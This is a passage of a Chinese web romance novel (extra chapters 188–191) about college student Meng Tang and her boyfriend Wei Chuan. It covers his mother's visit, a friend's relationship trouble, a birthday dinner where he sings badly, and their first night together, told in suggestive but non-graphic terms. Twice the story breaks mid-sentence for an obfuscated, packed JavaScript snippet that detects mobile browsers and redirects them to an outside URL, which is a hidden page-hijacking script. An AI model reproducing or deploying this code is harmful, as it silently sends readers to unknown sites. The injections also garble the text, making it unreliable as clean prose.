“你懂什么?”楚茵示意司机将带过来的晚餐摆到餐厅,“我这些都是家里做的,味道跟外面不一样。” “谢谢阿姨。”孟棠赶在魏川开口之前说,“我正好有点饿了。” 楚茵一听,扯开了嘴角:“饿了就过来啊,我做了瑶柱冬瓜冻,姜汁版的,中和了寒性,适合退烧后没胃口的人吃。” “这道菜,可是花了我大功夫,用清鸡汤煮的冬瓜丁,最后用泡发好的瑶柱碎慢炖出来的。” “还有芦笋尖和松茸鸡丝粥,你胃口小,我也没多做。” 孟棠一愣:“您自己做的?” 楚茵表情一僵,呵呵笑道:“怎么可能是我自己做的?你看我这双手,像是做饭的人吗?” 楚茵的语气明显虚弱,孟棠笑了声:“知道了,您十指不沾阳春水。” 楚茵白了她一眼:“赶紧吃吧,本来身上就没几两肉。” “好。”孟棠心里暖烘烘的,径自在餐桌旁坐下。 晚饭解决了,也就不用出门了,魏川高高兴兴在餐桌旁坐下,这一看,愣住了。 他转头看着楚茵:“妈,我的饭呢?” “呃……”楚茵语塞,“这是病号饭,你想吃的话,自己叫呗。” “我去,我已经沦落到这种地步了?”魏川跟她开玩笑,“有了儿媳妇忘了儿子,你可真是我亲妈。” 孟棠在桌下踢了一脚魏川,用眼神警告他别胡说。 魏川举手投降:“得,我自己叫餐,快饿死了。” 楚茵自己都愣了下,她在厨房忙的时候,还真没想到自个儿子,满脑子都是魏立峰跟她说的“孟棠从小就没有妈妈,你对她好一点”这句话。 她代入到自家三个女儿的视角,怎么想怎么可怜,不自觉就忙活了一下午。 都怪魏立峰给她洗脑! 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第188章 番外4:你也想上去 吃完饭,孟棠和魏川将楚茵送到了楼下。 楚茵上车后,对孟棠挥了挥手:“赶紧上去吧,都说了不用送了。” 孟棠笑道:“一天都在家里有点闷,去湖边转转。” 楚茵无语了一瞬:“生病的人还要去湖边转转,不怕再发烧吗?” 说完,她瞪了眼魏川:“赶紧带上去啊,杵着干什么?” “啊……哦哦。”魏川搂住孟棠,将她往回带,“咱妈说了,不能吹风,还是回去吧。” 孟棠下意识回眸,见楚茵走了才松了口气,进了电梯,她对着魏川的下巴打了下:“咱妈?那你怎么一个劲把雁清的那位叫老头呢?” “嗐,我下次一定叫爷爷。”魏川卖乖地笑了笑,“主要是他跟我说话总是为老不尊,我这不是习惯了嘛。” 孟棠哼了声,推开他:“站好了,电梯里有监控。” 魏川站是站好了,但手一直牵着孟棠。 孟棠心有微动,转头说:“今晚那些,是阿姨做的吧?” 出了电梯,进了玄关,孟棠将拖鞋摆她脚底。 孟棠换了鞋子,推了下魏川的肩膀:“你回答我。” “是她做的。”魏川无奈一笑,“我妈厨艺挺好的,肯定是看你生病,觉得不来看看不合适。” 孟棠沉默了一瞬。 魏川托起她下巴:“怎么了?感动啊?” 孟棠点了点头:“她好爱你们。” “以后不也爱你嘛。”魏川捧住她的脸,“你看她今晚,把亲儿子都忘了。” 孟棠扯开嘴角笑了笑:“阿姨喜欢什么,等她生日,我给她买。” “别,买她买东西轮不到你。”魏川说,“我三个姐姐给她买东西,她都不喜欢,审美不一样,她只让我爸给她买。” “那怎么办?” “跟她儿子好好谈恋爱就行了。”魏川亲了她一下。 孟棠捂住嘴:“别传染了。” 魏川拍了下她后腰:“洗澡去吧,不可以洗头发,洗完立刻擦干把睡衣袜子穿好。” “知道了。”孟棠从来没觉得魏川那么啰嗦过,“你也去洗吧。” “行。” 两人各自去浴室洗了澡。 从浴室出来后,魏川拉了下孟棠睡衣头上的兔耳朵。 孟棠爬上床,问了句:“你明天要出去吗?” 魏川:“不出去,在家陪你,你也在家休息吧。” 孟棠还想说什么,手机震动了声。 寝室群里,谢泠音在问她发烧好了没。 孟棠靠着床头,回:【上午就退烧了,你呢?醒酒了?】 谢泠音发了个“后悔”的表情包:【下次再也不喝酒了。】 孟棠想了想,回:【你昨晚跟许鹤清一起喝的啊?】 谢泠音:【说着说着吵起来了,又不想说伤害对方的话,只能猛灌酒呗。】 魏川看她俩的聊天信息看得正大光明,见谢泠音的回复,轻笑了声: “他俩以前总分手的原因就是一言不合就要吵,吵过又分手,分手了又后悔,后悔了又复合,一整个仰卧起坐。” 孟棠被他的话逗笑,“啧”了声:“别打扰我。” “你发你发。” 孟棠又问:【那你跟许鹤清现在是什么情况啊?】 谢泠音:【嘴上没说分手,但感觉他默认了。】 孟棠:【你怎么想?想分吗?】 谢泠音:【我陷入了纠结里,如果不分,对他也不公平,毕竟我是一定会去国外读研的,我不会为了任何一个人放弃我的前途,但要是分的话,我也舍不得,这些都是实话。】 魏川在后面偷偷把聊天记录拍下来发给了许鹤清:【你他妈自己看看,能不能爽快点把问题解决,孟棠还生着病呢,给你俩做起了爱情保安。】 许鹤清:【这真是谢泠音发的?】 魏川:【……我真掰开你的脑子看看是什么样的。】 许鹤清:【她昨晚还让我不要耽误她的前途,你说说,有她这么狠心的人吗?我只是在考虑,根本没有要分手的意思,我看她倒是挺想分手的。】 魏川:【那谢泠音发的你看见没?她也不想分手,但又怕耽误了你。】 许鹤清心里矛盾不已,问魏川:【要是你的话,你会怎么做?】 魏川将这件事代入自己的和孟棠,认真考虑了半天,回: 【当然是结合自己的情况做一个最优解,但前提是不分手,你懂吗?】 许鹤清:【懂,分手了还分析个屁啊。】 魏川:【对嘛,既然不分手了,就是你出国和不出国的问题了,这还不好理解?】 许鹤清:【我要是留下,会担心她在国外的生活,我要是去了国外,会担心给不了她想要的,你让我怎么办?】 魏川:【如果是我是的话,我必定会跟去的,不是有没有钱的问题,是我对她的担心超越了一切,你不妨这段时间试着戒断,在一个学校里,但是不能见面,考验个几天你就知道了滋味。】 许鹤清自嘲:【你不知道时间是治愈良药吗?说不定几天过去,我还真适应了没有她的日子。】 这章没有结束,请点击下一页继续阅读!魏川:【呵呵,当她真飞到了大洋彼岸,痛苦和悔恨会凌迟你的五脏六腑。】 许鹤清:【好了你别说了,我先冷静几天。】 魏川笑了声:【你俩现在冷战状态啊?】 许鹤清:【她说的没错,我怕见面又得吵,还是先冷静一下比较好。】 魏川:【我真佩服你俩,这么针尖对麦芒的性格,到底是怎么走到一起去的。】 许鹤清只有苦笑,苦笑的背后,还有那么点甘之如饴。 魏川:【过几天就是圣诞节了,这不巧了嘛,又到哥的生日了,到时候我让孟棠把她们寝室都喊着出去玩,你趁机跟人家说开,虽说才大三,但你就算拖了两年,最后也还是要做决断,那时候再去做决定,痛苦只增不减,这是友情提示。】 许鹤清:【知道了。】 魏川收起手机,见孟棠还在聊,提醒道:“赶紧别聊了,睡觉。” “睡一天了。”孟棠说,“你能睡得着吗?” 魏川又重新拿起手机:“找个电影看一看。” 小情侣抱一起在被窝里看电影,别提多浪漫了。 孟棠其实不太喜欢用手机看电视电影,因为屏幕太小了。 但魏川有兴致,她也就没反驳。 和谢泠音结束了聊天,她被魏川揽过去靠在了肩头。 “找个喜剧的看看。” “好。” 魏川在分类里找了个经典片。 完完整整看了两个多小时的电影,结束后相拥而眠。 第二天,孟棠又在康铂休息了一天。 周一回到学校后,她立刻开始着手给魏川的生日礼物。 她给他雕刻的东西都是掌心大小的把玩小件,被魏川用玻璃罩保护在别墅里。 孟棠空闲时间不多,目前也只能做小件给他。 既然不喜欢单人,那就做个双人,他应该会喜欢。 最小的精雕细琢也得十来天,不过正好能赶上魏川的生日。 听说昨天他就定了生日聚餐的地方,这次没去什么高档的地方,就在学校附近找了个生日团建的唱K餐厅。 反正附近的大学生都挺乐意去的,又是吃火锅,和大冬天的再配不过。 就是不知道今年圣诞,会不会再下雪。 想到这里,孟棠将雕刻好的物件包起来带回了寝室。 去年的圣诞,过得也挺有意思的。 那张大合照,阴差阳错,又莫名正确。 明天就是圣诞节,魏川的生日,孟棠有些紧张,日子也挺好的,是周五,聚完餐,可以直接去康铂。 谢泠音和许鹤清也十来天没见面,两人完全冷静了下来。 有魏川和孟棠在中间调和,今晚势必要说开的。 何去何从,就不是孟棠和魏川能左右了的。 孟棠和魏川之间没有卡点过生日的习惯,因为两人早早就睡了。 翌日下午六点,两个寝室的人齐聚唱K餐厅。 他们人多,占据了最大的一个位置。 这里主打海鲜锅,不过人多口味不同,魏川最终点了五六个锅底。 台上有乐队在唱歌,时不时就有观众上去吼两句,不过敢上台的,唱得都行。 魏川见孟棠一直盯着唱歌的,挨过去问了声:“你也想上去?” 孟棠赶紧摇头:“你看我想上去是样子吗?” 魏川故意逗她:“我今天生日,你也不送我一首歌吗?” 孟棠瞥了他一眼:“待会儿等你吹蜡烛,给你唱生日歌。” 魏川哼了声,放下了筷子,起身道:“既然你不去,那我去。” 梁衡愣住:“川哥,你要干什么去?” 魏川:“我上去唱首歌送给孟棠,你们先吃。” 三个男生齐齐石化。 李卓一把将人拦住,谄媚笑道:“还是别了吧,才开吃,再聊聊。” 魏川推开他的手:“不聊。” 梁衡也站了起来:“川哥,我们知道你唱歌好听,但你也要给别人留条活路啊,你看看你,长得又高又帅还有钱,要是再会唱歌,你让其他客人怎么活啊。” 魏川:“……滚你丫的。” 梁衡和李卓没招了,给许鹤清使了个眼色。 许鹤清左右为难,但为了不让自己的耳朵受伤害,还是站了起来: “要不,等吃完,客人散散的时候再去唱?” “不要。” 魏川我行我素,径自去了表演区。 许鹤清、李卓和梁衡坐了下去,满脸绝望。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第189章 番外5:自信也是优点 从餐位到表演区要经过一段公共区域的道路,那是一条可以吸引所有人视线的路。 魏川肩宽腿长,颜值顶尖,跨一提,走路都十分好看。 不少人被他吸引了视线,尤其是女生。 魏川径自上台,和乐队交流了两句,拿到了话筒。 帅哥唱歌,所有人举起了手机。 魏川对着话筒轻轻一笑:“对不起,打扰大家了,借我几分钟的时间,我想送我女朋友一首歌。” “哦哦…………” 底下有人开始起哄。 “帅哥,你女朋友呢?” “在这儿!”石岚举起孟棠的手,“在这儿呢。” “石岚!”孟棠用另一只手挡住脸,恨不得找条地缝钻进去。 “看我看我。”魏川对着话筒抓回其他人八卦的视线,“我女朋友i人。” 餐厅内笑声一片,没见过这么帅的e人。 “给我女朋友送一首《简单爱》,谢谢。” 魏川微微鞠躬后,乐队为他伴起了奏。 他煞有介事地晃了晃脑袋,寻着熟悉的调子进入节奏: “说不上为什么,我变得很主动。” 所有人的笑意僵在嘴角,同时歪了歪头,有点不确定,看在这么帅的份上,再听一句叭! “若爱上一个人什么都会值得去做。” 对不起,实在听不了啦! 所有人默默放下了手机,尴尬地低头吃饭。 梁衡仰头捂住耳朵:“卓儿,我对不起你,我不应该偷用你的洗发水,更不应该偷穿你的袜子,要不你发个律师函把我送进去吧,这是对我为人不善的惩罚。” “呵……”李卓冷笑一声,“狗东西,我就知道是你,不过你进去了,谁陪我一起受折磨,还是饶了你吧。” 梁衡:“天哪!他到底哪来的自信,周杰伦来了都找不到调吧?” 谢泠音被辣椒呛了半死,她不可置信地看向许鹤清:“他……呃……平时唱功也这样吗?” 许鹤清一言难尽地点了点头:“自信也是一个优点,你说对吧?” 杨可和石岚对视一眼,默默低下头炫火锅。 孟棠拿出手机,对着魏川拍了个视频。 “不是。”谢泠音抵了下她,“这有什么好拍的?他都找不着调,修音师来了都得甩辞职信。” 孟棠笑了笑:“挺可爱的啊。” “情人眼里出西施,没救了。”谢泠音吐槽了句,“你不会回去还要翻来覆去地听吧?” 周董这首歌,孟棠自然是听过的。 她对谢泠音笑了声:“高潮节奏唱得还行啊。” 所有人给了她一个“你认真”的疑惑眼神。 魏川到底什么福气,在家有父母姐姐宠爱,谈了恋爱还有女朋友宠着。 梁衡羡慕了:“上帝到底给他关了哪扇窗?” 李卓呵呵一笑:“给他关上的那扇窗又被他自己硬生生打开了,他不正在台上唱着呢嘛。” 台上终于结束了,魏川笑着鞠了躬:“谢谢大家!” 底下掌声响起,没有人再起哄了。 魏川兴奋地回到座位上,转头问孟棠:“我唱得怎么样?” 孟棠点了点头:“挺好听的。” 魏川嘿嘿一笑,搂过孟棠在她脸上亲了口。 “咦……”其他人纷纷表示被肉麻到了。 “咦个屁。”魏川喝了口啤酒,扔了一片生菜叶给梁衡,“吃你的。” 也许是唱歌唱渴了,魏川没吃两口,将一罐啤酒全都喝完了。 孟棠碰了碰他肩膀,小声提醒:“少喝点。” 魏川的掌心覆上她后脑勺揉了揉:“没事,一点啤酒而已,还想吃什么?我给你夹过来晾一下。” 孟棠摇摇头:“不用管我,你自己吃吧。” 毕竟也唱了一首歌,耽误了点吃饭的时间。 魏川拿了虾滑煮了,盛起来全都送进了孟棠的盘子里。 “别人不吃吗?”孟棠抵了下他一下。 “多的是。”魏川说,“你吃你的。” 孟棠垂眸笑了声,她喜欢虾滑,每次吃火锅,魏川总给她点双份。 明明她也吃不完,最后都进了魏川的肚子。 舞台区传来优美动听的歌声时,除魏川和孟棠外,全员松了口气。 这两人的钝感力不是一般人能惹得起的,简直把“情人眼里出西施”奉为圭臬。 连着吹牛,一行人在餐厅待了将近三个小时。 来的时候是坐地铁的,回去自然也是。 谢泠音看了眼时间,转头问孟棠:“你今晚是不是不回来?” 没到周五,魏川必有借口将孟棠拐走过两天的二人世界。 其实即便是周末,两人也在不一样的地方忙碌着,能腻歪的时间也就早晚那么一会儿。 但平时见不着人,魏川有点时间全都用在了孟棠身上。 看得谢泠音一个有男朋友的都感慨魏川太爱了。 魏川喝了酒,又吃得撑,和孟棠将室友们送到地铁口返回了餐厅的门口。 门口就有代驾,魏川叫了人,推着明天进了后座。 魏川拉过孟棠的手,看了眼窗外:“今年没下雪啊。” 孟棠也扭头往外看,说:“今天天气还不错的,应该不会下雪了。” 魏川笑了声:“我最喜欢你的一张照片就是去年圣诞节在雪地里拍的那张。” 抓拍的一瞬间心跳静止,看着照片时,脸上毫无情绪,实则内心翻腾不已。 安静的夜晚,洁白的雪花,明明天上无月,魏川却仿佛看到了高悬的银辉。 蓦然回首,他在心里雕刻了一轮明月。 喜欢有迹可循,孟棠朝他笑了笑:“今晚怎么没有拍照?” “太秀恩爱也不好。”魏川捏了捏她的手指,“许鹤清和谢泠音虽然说话了,但没完全和好,我不过就给你烫个虾滑,许鹤清就给了我好几个白眼。” 孟棠失笑:“人家什么时候给你白眼了。” “我看他挺嫉妒的。”魏川开始胡言乱语,“为了我们的爱情,我还是决定不惹他。” 孟棠:“……” 怎么这么抽象。 康铂很快到了,魏川拽着孟棠下了车。 魏川就没有一刻闲的时候,他靠在电梯墙壁上,长手一抬将孟棠搂进怀中,说: “你说他俩今晚能不能把话说开?” 孟棠顺势倒进他怀中,叹了声气:“应该能吧,你上去唱歌的时候,泠音下意识就问了许鹤清你的唱功,在餐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135426|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌上的表现,显然都很在意彼此,这样怎么能放下?” 只要谢泠音主动了,许鹤清不可能毫无反应。 “她还问了我的唱功?”魏川来了兴趣,“许鹤清怎么夸我的?” 孟棠:“……他说自信也是一种优点。” 电梯到了,孟棠憋着笑进了玄关。 魏川蹙了蹙眉:“怎么感觉不像是夸我呢?” 孟棠换了鞋,晃了下手机:“夸你的,我还录屏了。” 魏川被哄好了,跟在她身后换了鞋。 “明天可以睡个早觉。”魏川伸了个懒腰,“十点到训练场地就行。” 孟棠说:“我先去洗澡了。” “我也去吧。”魏川说,“正好洗完跟你一起回房睡觉。” 孟棠脸颊一红,说:“你待会儿再洗吧。” “为什么?”魏川没懂,“浴室坏了一个?” 平时住在这儿,他俩不都是同一时间段分开洗的吗? “你就当坏了吧。”孟棠说,“反正你待会儿洗。” 见魏川想要**,孟棠仰头看着他:“你听不听话?” 魏川点了点头。 孟棠笑了笑:“那你把头低下来。” 魏川把头低下去。 孟棠在他唇上亲了下,拍了下他的脸:“等我洗完澡,你再去。” 魏川“嗯”了声,直至孟棠进了浴室,才发觉自己过于听话了。 怎么跟训狗似的,回味过来的魏川有点不想承认,可他确实魔怔似的听孟棠的话。 算了,不让洗就不让洗呗。 魏川拿出手机,玩了两把游戏,时间一晃而过,他看了眼时间,愣了下,起身往浴室走。 平时最多半小时人就出来了,今天怎么回事? 魏川在浴室门口等了等,还是没忍住拍了拍门:“孟棠?” 里面没回应,魏川蹙眉,又加了力道:“孟棠?你洗过没?怎么还不出来?” “马上就好了。”孟棠终于回应了他。 魏川松了口气:“怎么这么久?” 孟棠说:“我洗了个头,一会儿就好,你别站门口了。” “那你出来啊,我给你吹。”魏川听到了吹风机的声音。 “我自己吹。” 魏川无奈道:“免费的劳动力不用,把门开一下。” “马上就好了。” 魏川:“……” 孟棠不让进,他硬生生站了二十来分钟。 等里面没了动静,他往后退了下,下一秒,孟棠开了浴室的门。 一张水灵灵的大眼睛氤氲着水汽看着他,语气软绵绵的:“你去洗澡吧。” 一股甜香涌上鼻底,魏川靠近她,小声说:“涂了什么?这么香?” 孟棠怀疑自己腌入味了,又被他这么一问,皮肤比洗澡的时候还红。 “身体乳啊。”孟棠的心都虚了,“你还站在这里干什么?快去洗啊。” 魏川觉得她有点奇怪,可又想不透,只能抬腿去了浴室。 孟棠松了口气,转而去了玄关。 玄关柜子上,赫然放着一盒精致的巧克力蛋糕。 没卡点给他过生日,在餐厅的时候人又多,只能在这个时候给他补上。 而且,她的生日礼物还没送出去呢。 第190章 番外6:你想做什么就做 孟棠将蛋糕拿到餐厅,拆了盒子,插上了蜡烛。 送的一盒火柴就在旁边,她起身关掉灯,坐在一旁静静等着魏川。 此刻,孟棠的心里是忐忑的,但没有彷徨。 不管怎么样,她是相信魏川的。 没几个男生谈恋爱当天就昭告了全世界他谈恋爱了,将她发送到朋友圈里,亲朋好友全都可以看见。 一片坦诚真心,她自然也回以同样的真诚。 小时候,她觉得自己的不幸的,因为别人都有爸妈。 后来懂点事,她又觉得还行,最起码有爷爷和方姐。 只是没想到,会在大学里遇到魏川。 他像一捧烈阳,一点一点照进了她心里。 浴室传来动静,孟棠倏地攥紧了手指,她做了两个深呼吸,等着魏川来找她。 魏川回到卧室没看见人,疑惑了地转了出来。 “孟棠?” 餐厅传来细微的摩擦声,随后一抹昏黄的光悠悠晃晃。 魏川走过去,看到孟棠托着腮朝他笑,面前摆着燃着蜡烛的巧克力蛋糕。 “还来这一套。”魏川走过去,在她身边坐下。 孟棠说:“总得单独给你过一个吧。” 今天本来要回一趟魏家的,但不巧,魏立峰出差去了,楚茵也跟着一道走了。 魏川事先在群里说要和同学一起过,大家也就默契地转了一笔账过来。 去餐厅之前,孟棠光听他支付宝的钱袋子在响。 “巧克力的?”魏川笑了声,“我许个愿吗?” “嗯。”孟棠点了点头,“你闭上眼睛啊,不要说出来。” 魏川默默闭上眼睛,许了个愿望,然后吹灭了蜡烛。 孟棠没开灯,打开了手机的灯,指尖沾了点蛋糕涂魏川鼻尖上。 魏川拿了刀叉,给自己和孟棠一人切了一小块,笑道:“我都刷过牙了。” 孟棠也刷过了,她吃了一口蛋糕,说:“待会儿再刷呗。” 巧克力的味道很熟悉,他抬眸看向孟棠:“三姐的店送过来的?” 孟棠点了点头:“沅沅姐今天在店里,她发了朋友圈,我看到了,就拜托她店里做了一份。” 魏川吃了一口,感叹道:“不得不说,她不适合当演员,这个店开的还是不错的。” 孟棠笑了声:“被她听到,又得跟你吵。” “你看我理不理她。”魏川将半块巧克力蛋糕全都解决了,“剩下的放冰箱吧,明天早上再吃。” 孟棠点了点头:“你送过去吧。” 魏川将蛋糕盒重新绑起来,随后送进了冰箱。 见孟棠没动,他叫了声:“刷牙睡觉去啊。” 孟棠紧张地“哦”了声,关掉了手机的灯光,室内一下暗了。 起身时带动了椅子,孟棠磕到了桌腿,唇边泄露出一丝闷哼。 魏川上前走了两步,抬手摸到她的手:“早早把灯关了干什么?没事吧?磕哪儿了?” 孟棠的心都快吊到嗓子眼儿了,她莽撞地扑到魏川怀里,小声说道:“没事。” 巧克力的苦和香混合着暧昧的气息萦绕在魏川的唇边。 他轻笑了声,没忍住亲了下去,本来是想蜻蜓点水,但孟棠搂住了他脖颈,回应了起来。 魏川一僵,本能地吻得更深。 孟棠的后面就是餐桌,两人身高有点悬殊,魏川勾着脖颈不太舒服,一把掐住她的腰,将她放到了餐桌上。 孟棠拽着魏川的领口,仰头接吻的样子像一只洁白的鹤。 吻了许久,孟棠有点缺氧,她按住魏川的胸膛拍了拍。 这是两人之间的信号,小情侣在一起,吻在一处难免失控。 前期不过线的时候,魏川总能把人亲到脑袋晕乎乎的,像醉了酒。 时间一长,两人养成了这样的小习惯。 只要推他一下,魏川就知道孟棠难受了。 他稍稍松开,又拉开了两人之间的距离。 半晌,魏川苦笑了声:“来折磨我的吧?” 黑暗中的声音低沉沙哑,孟棠也算有点经验了,最起码此刻的魏川,她知道是什么状态。 孟棠搂住魏川的脖颈,亲了上去。 魏川躲开她的吻,喘着粗气:“别惹我了。” “谁惹你了。”孟棠将他拉得更近,“你想做什么就做。” 魏川一愣,几乎咬着牙问:“你说什么?” 得亏餐厅是黑暗的,孟棠忍着烧红的脸,小声重复了一遍。 魏川一把搂住了她的腰,搂得死紧死紧。 孟棠都能感觉到他胸腔在嗬嗬燃烧。 “你认真的?”魏川还是不敢相信自己的耳朵,他也没想到孟棠会在今天突然这样。 孟棠摸到他的脸,和他鼻尖相抵:“是认真的。” 魏川一把搂住她,将自己埋进她颈间拱了拱:“怪不得今晚这么香。” 被揭穿了,孟棠借着黑暗的掩饰转头亲了下他的脸。 魏川忍不了了,兜住她的双腿,将人抱回了卧室。 卧室床底下有灯带,两个相拥的人一下看清了彼此。 孟棠躺在床上,受不住魏川的视线,扭过了脸。 公寓里的管家服务一向是顶级的,自从魏川带了女朋友回来后,会贴心地准备好计生用品。 那些东西就在床头柜里,孟棠第一次看见的时候,尴尬了好一阵子。 还是魏川将它们扔进抽屉里才减缓了几分她的羞臊。 魏川跪到床上,俯身盯着孟棠,小声问:“要关灯吗?” 孟棠偏过头,露出细长精致的脖颈:“别问我。” 魏川轻笑一声,指尖抵住她脸颊轻轻一拨:“床底下的灯带要是也关了,里面就什么都看不见了。” 孟棠知道他不想关,放纵地点了点头:“那就不关。” 脸上表情的害羞的,说出来的话总是出人意料。 魏川狠狠亲了下她:“知不知道自己在说什么。” 孟棠咬着唇,点了点头。 魏川在心里“操”了声,什么清纯型勾人不自知的妖精,他双指掐住孟棠的下颌,堵住了她的唇齿。 孟棠闭上眼睛,动也不敢动,只知道唇瓣被磨得生疼。 魏川的吻又凶又急,像夏日突来的暴雨。 嘴巴火辣辣热烘烘,孟棠脑子堵住了似的,连呻吟都被堵在唇齿间发不出来。 她推了推魏川的胸膛。 魏川理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141798|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 智渐回,松开了一点,浑身滚烫一片,他的额头颈侧烘出一层细密的汗。 四目相对,两个人都微微喘着看向彼此。 魏川的指尖抵住她鬓角,珍惜地在她鼻尖落下轻吻:“我真的要**了。” 孟棠被他逗笑,却不好意思说什么,只是点了点头。 怎么能这么乖? 魏川掀起被子,将两人盖个正着。 衣服一件件落地,他又亲了上去,双手控制着孟棠的头,不偏不倚,接了个欲色十足的吻。 “唔……” 昏暗的、密不透风的小小空间里,烘出了一夜春色。 凌晨不知几点,孟棠散乱着长发,眼角挂着透明的眼泪,鼻尖眼眶都是红的,看着好不可怜。 魏川心疼地在她唇上碰了下,小声说:“我带你洗澡去?” 孟棠没有力气回答,只能呜咽一声。 第一次总是莽撞的、疼痛的,欢愉并没有多少,魏川已经足够体谅了,但还是免不了那一份不适。 浴室水声响起,孟棠哼唧着说难受。 某个开了荤的男人耐心地轻哄着,拉着孟棠的手在自己脸上扇了几下,孟棠极其微弱地笑了声:“神经病。” 魏川见她还能笑,终于放心了点。 他在水雾中抱紧了人:“还难不难受?” “你说呢?”孟棠半阖着眼睛,斜了他一眼。 “我的错。”魏川将她洗干净,用浴巾裹起来,抱了出去。 “等一下啊,我穿个衣服。” 简直没眼看,孟棠倒在床上,说:“把我衣服也拿来。” 魏川换好睡衣,又将孟棠的衣服拿来,亲自伺候着给她穿上了。 进了被窝,他一把搂住孟棠,亲昵地在她耳朵上亲了下:“疼不疼了?” 他不敢伸手确认,生怕自己忍不住。 孟棠忍着羞耻,摇了摇头:“睡觉。” 魏川感觉今晚过得十分玄幻,他将孟棠搂进,说:“你先睡,我有点幸福。” 孟棠身体一僵:“不会还要来吧?” 已经两次了,虽然第一次不得章法,乱七八糟,但第二次,时间很够。 她真的有点吃不消。 “想什么呢?我这么不体贴吗?”魏川在她脸上蹭了下,跟她搞抽象,“好不容易摆脱处男身份,想要庆祝一下。” 孟棠一肘击在他腹部:“你到底害不害臊,赶紧睡。” “睡睡……”魏川哄了哄人,“睡吧,晚安。” 孟棠小声应了声,没一会儿陷入了梦乡。 搂着睡到日上三竿,魏川率先清醒,看到时间直接愣了,九点半了,去学校赶不上。 他转头看了眼孟棠,他要是走了,怎么那么像提上裤子的渣男呢? 魏川咬了咬牙,给老贺打了个电话说要请假,刚说完,他立刻将手机拿远。 老贺在对面喷了他三分钟,魏川谄媚地笑了声:“我真求您了,我去不了,明天一定去。” 老贺挂了电话。 这样的动静没让孟棠清醒,魏川转过身体,盯着孟棠的脸,想要她第一个醒来看见的人是自己。 过了两分钟,魏川倏地轻笑:“别装了,眼皮都动了。” 第191章 番外7:现在起床吗 孟棠被无情地揭穿,在被子底下无情地踹了一脚魏川。 魏川装得龇牙咧嘴,让她下了台阶。 他将孟棠搂过来,捧着她的脸问:“饿不饿?” 孟棠点了点头,嗓子有些暗哑:“几点了?” “快十点了。”魏川笑了声,“现在起床吗?” “十点了?”孟棠一愣,“十点了你怎么还不走?” 她去木雕工作室,无论什么时候去都行,孟遇春那边是以她的时间为主。 可魏川要训练,这个是必须要去的。 “我请假了。”魏川的手指下意识蹭着孟棠的鬓角,“总不能让你一觉醒来看不到我人吧。” 孟棠依偎过去,在他颈间蹭了蹭。 每个女生都会在意这一点,她也不例外。 魏川拍了拍孟棠的后背,说:“起来吃饭吧,你还有礼物没有给我。” 孟棠一下从魏川怀中抬头:“我说我怎么总感觉忘了什么。” 原来是生日礼物没送出去。 魏川撞了下她的鼻尖:“昨晚光想着怎么拿下我了吧?” 孟棠能接受情侣间的水到渠成,但面对调侃,还是会害羞的。 她推开魏川的脸:“过去,我要起床了。” 魏川掀开被子下了床,随后朝她伸出手:“你先去洗漱,我去叫餐。” “冰箱里不是还有昨晚剩的蛋糕吗?”那么贵,孟棠不想浪费,“就吃那个吧。” 魏川懂她的意思,说:“那个我吃吧,给你叫别的。” 那点蛋糕,不够他塞牙缝的。 “行。”孟棠拉住他的手下了床,却忽然一顿。 “怎么了?”魏川见她不动了,关心地问了句。 孟棠摇了摇头,一点异样感而已。 魏川后知后觉地揉了下她的腰:“是这里难受吗?” 不是这里,但别的,孟棠也难以启齿。 且她平日里练习大件雕刻,也废腰,胡乱地点了点头。 魏川说:“吃完饭,你躺沙发上,我给你揉一揉。” “好。” 孟棠去了浴室洗漱。 魏川将送来的早餐一一摆好,今早叫的西式,换个口味。 孟棠来到餐厅,瞬间被麦香奶香包围了。 她从面包篮里拿了一块牛角包和两片土司。 魏川指了指桌上:“无盐黄油和树莓果酱,喝橙汁还是牛奶?” 孟棠说:“橙汁吧。” 魏川将橙汁给她,又给她拿了一份配黑松露碎的水波蛋和烟熏三文鱼。 孟棠也不挑,坐下后默默吃着早餐。 她吃饭的节奏比平时还要慢,魏川注意到,问:“是不是不合胃口?” 孟棠摇了摇头:“挺好的。” 魏川想起她跟老头在一块过惯了,说:“要不给我吃,我再给你叫中式的?” “不用。”孟棠喝了口橙汁,“这么多呢,别浪费,偶尔换个口味也没什么,而且也挺好吃的。” “真不用?” 孟棠瞪了他一眼:“坐下吃饭。” 魏川从冰箱里拿了昨晚剩下的蛋糕,配合着一堆面包三明治吃了早餐。 也不知道能不能算作早餐,毕竟吃完已经十点半了。 孟棠吃完后,拿了手机往沙发上一趴,没玩多久,打了个哈欠。 昨晚睡得太迟,不管是身体还是精神,都有些疲累。 孟棠刚想睡会儿,魏川走了过来,履行承诺给她捏腰。 孟棠回眸笑了声:“你蹲着不难受?” “不难受。”魏川看向她,“力道怎么样?” 孟棠说了还行,某些人按得更勤快了。 手机响起,孟棠接了电话。 谢泠音在那头说:“刚下来买午饭,看见你的快递,顺道给你带上去了。” “快递?”孟棠一愣,“我没买东西啊。” 谢泠音捏了捏:“好像是书。” 书? 孟棠半晌才想明白,说:“应该是苏大师的书,你先帮我带到寝室吧,谢谢。” 魏川见她挂了电话,问:“苏勉的书出版了?” “应该是的,按照时间,也差不多出版了。” 孟棠现在就想看,但她要是说回学校,魏川一定不会同意。 